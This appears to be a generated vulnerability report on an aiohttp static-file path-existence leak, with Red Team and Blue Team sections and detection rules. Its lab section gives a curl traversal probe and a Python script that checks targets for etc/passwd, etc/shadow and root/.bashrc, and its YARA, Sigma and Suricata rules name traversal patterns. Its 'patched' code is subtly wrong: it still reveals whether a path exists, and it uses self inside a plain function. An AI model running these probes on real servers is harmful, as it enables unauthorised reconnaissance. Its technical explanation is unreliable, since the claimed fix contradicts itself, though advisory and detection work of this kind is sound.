CVE-2025-69226

Executive Summary

CVE-2025-69226 is a moderate-severity information disclosure vulnerability in the aiohttp library (versions 3.13.2 and below). The flaw resides in the path normalization logic for static file serving via web.static(). An attacker can send crafted HTTP requests to determine whether specific absolute path components exist on the server filesystem, effectively performing a path existence oracle attack. This does not allow file retrieval or traversal, but leaks filesystem structure information that can aid in further attacks. The issue is fixed in aiohttp 3.13.3.

Supply Chain & Package Security

This vulnerability affects the PyPI package aiohttp. Organizations using aiohttp in production should immediately update to version 3.13.3 or later. The web.static() function is explicitly not recommended for production deployments by the aiohttp maintainers, but many applications still use it for development or internal tools. The attack requires no authentication and can be performed over the network, making it a low-barrier information leak.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (NVD) / Estimated: 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

• Attack Vector (AV): Network – the vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): None – no authentication needed.
• User Interaction (UI): None – no user action required.
• Scope (S): Unchanged – the vulnerable component is the only affected component.
• Confidentiality (C): Low – only existence of path components is leaked, not file contents.
• Integrity (I): None – no data modification possible.
• Availability (A): None – no denial of service.

Threat Level: Moderate. While the direct impact is limited to information disclosure, the leaked filesystem structure can be used to craft more targeted attacks (e.g., path traversal, file inclusion, or privilege escalation).

Deep Dive & Mechanics

The vulnerability exists in the web.static() handler's path normalization logic. When a request is made to a static file endpoint, aiohttp normalizes the requested path to prevent directory traversal. However, the normalization process behaves differently depending on whether the requested absolute path component exists on the filesystem.

Root Cause: The path normalization function uses os.path.realpath() or similar calls that resolve symlinks and canonicalize paths. If a component of the path does not exist, the normalization fails or returns a different result than when it exists. An attacker can observe these differences (e.g., HTTP 404 vs. 403, or response timing) to infer the existence of specific directories or files.

Attack Flow:

1. Attacker identifies an aiohttp application using web.static().
2. Attacker sends a request with a crafted path containing an absolute component, e.g., /static/../../etc/passwd.
3. The server normalizes the path. If /etc/passwd exists, the normalization succeeds and the server attempts to serve the file (likely returning 403 or 404 depending on permissions). If it does not exist, the normalization fails and returns a different error.
4. By observing the response, the attacker can determine whether the path component exists.

Affected Component: aiohttp.web_urldispatcher.StaticResource and related path normalization functions.

Vulnerable vs. Patched Code

Vulnerable Code (aiohttp < 3.13.3):

# Simplified vulnerable path normalization
def _resolve_path(rel_path):
    # Uses os.path.realpath which fails on non-existent components
    return os.path.realpath(os.path.join(self._directory, rel_path))

Patched Code (aiohttp 3.13.3):

# Patched version with safe normalization
def _resolve_path(rel_path):
    # Only resolve if all components exist, otherwise return None
    full_path = os.path.join(self._directory, rel_path)
    if not os.path.exists(full_path):
        return None
    return os.path.realpath(full_path)

The patch ensures that path normalization only proceeds if the entire path exists, preventing the attacker from distinguishing between existing and non-existing path components.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install vulnerable aiohttp: pip install aiohttp==3.13.2
2. Create a simple server with web.static():

from aiohttp import web

app = web.Application()
app.router.add_static('/static', '/var/www/static')
web.run_app(app, port=8080)

Exploitation Steps:

1. Send a request to check if /etc/passwd exists:

curl -v http://target:8080/static/../../etc/passwd

2. Observe response: If 403 Forbidden, the file exists. If 404 Not Found, it does not.
3. Repeat for other paths to map the filesystem.

Automated Script:

import requests

def check_path_exists(base_url, path):
    url = f"{base_url}/static/../../{path}"
    resp = requests.get(url)
    return resp.status_code == 403

paths = ["etc/passwd", "etc/shadow", "root/.bashrc"]
for p in paths:
    if check_path_exists("http://target:8080", p):
        print(f"[+] {p} exists")

Blue Team

Detection:

• Monitor for requests containing ../ or absolute path components in static file URLs.
• Alert on repeated 403 responses from static endpoints.
• Use WAF rules to block path traversal patterns.

Hunting:

• Search logs for GET /static/../../ patterns.
• Correlate with known aiohttp versions.

Indicators of Compromise (IOCs)

• Network: HTTP requests with path components like /static/../../etc/passwd
• Logs: Repeated 403 errors from static file endpoints with suspicious paths
• File System: No direct file modification, but reconnaissance activity

Detection Engineering

YARA Rule

rule aiohttp_path_existence_leak {
    meta:
        description = "Detects attempts to exploit CVE-2025-69226 in aiohttp"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-69226"
    strings:
        $path_traversal = /\/static\/\.\.\/\.\.\//
        $abs_path = /\/static\/\/[a-zA-Z]/
    condition:
        any of them
}

Sigma Rule

title: Aiohttp Path Existence Leak Attempt
id: 8f4c3b2a-1d5e-4f7c-9a8b-6c3d2e1f0a5b
status: experimental
description: Detects attempts to exploit CVE-2025-69226 by probing for absolute path components
author: Valters IT
logsource:
    category: webserver
    product: aiohttp
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem|contains: '/static/../../'
    condition: selection
falsepositives:
    - Legitimate use of path traversal in development
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-69226 Aiohttp Path Existence Leak"; flow:to_server; content:"/static/../../"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade aiohttp to version 3.13.3 or later.
2. Workaround: Do not use web.static() in production. Serve static files via a reverse proxy (e.g., Nginx, Apache).
3. Monitoring: Enable logging for static file endpoints and alert on suspicious patterns.
4. WAF: Deploy WAF rules to block path traversal attempts.
5. Least Privilege: Ensure the application runs with minimal filesystem access.

Patch Command:

pip install --upgrade aiohttp==3.13.3

Valters IT
DevSecOps & Cyber Threat Intelligence
Report generated for CVE-2025-69226